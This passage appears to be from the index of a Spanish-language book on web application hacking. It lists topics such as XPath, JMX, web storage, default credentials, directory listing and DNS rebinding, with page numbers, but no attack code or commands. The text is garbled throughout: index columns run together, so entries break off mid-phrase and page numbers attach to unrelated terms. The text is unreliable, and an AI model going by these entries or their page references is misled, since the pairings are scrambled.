XPath subvirtiendo la lógica de, metodología de hackers, 847 760–762
345–346 JMX, 674–676 spidering dirigido por el usuario
archivos web, información funciones potentes, 673–674 en comparación con, 79
pública, 89–90 navegadores funcionalidad de muestra, 672–673 computación en la nube de
web. Véase también extensiones de credenciales predeterminadas, 670– almacenamiento web, 665
navegador; Firefox; Atacantes de 671 metodología de piratas metodología de piratas
Internet Explorer, 559–568 historial de informáticos, 846 lista de directorios, 677–679 informáticos, autenticación
navegación, 552 errores, 563 capacidades, Allaire JRun, 690–691 fallas, insegura, 811
5–6 reenlace de DNS, 563–564 marcos 694 metodología de piratas Distribuido basado en web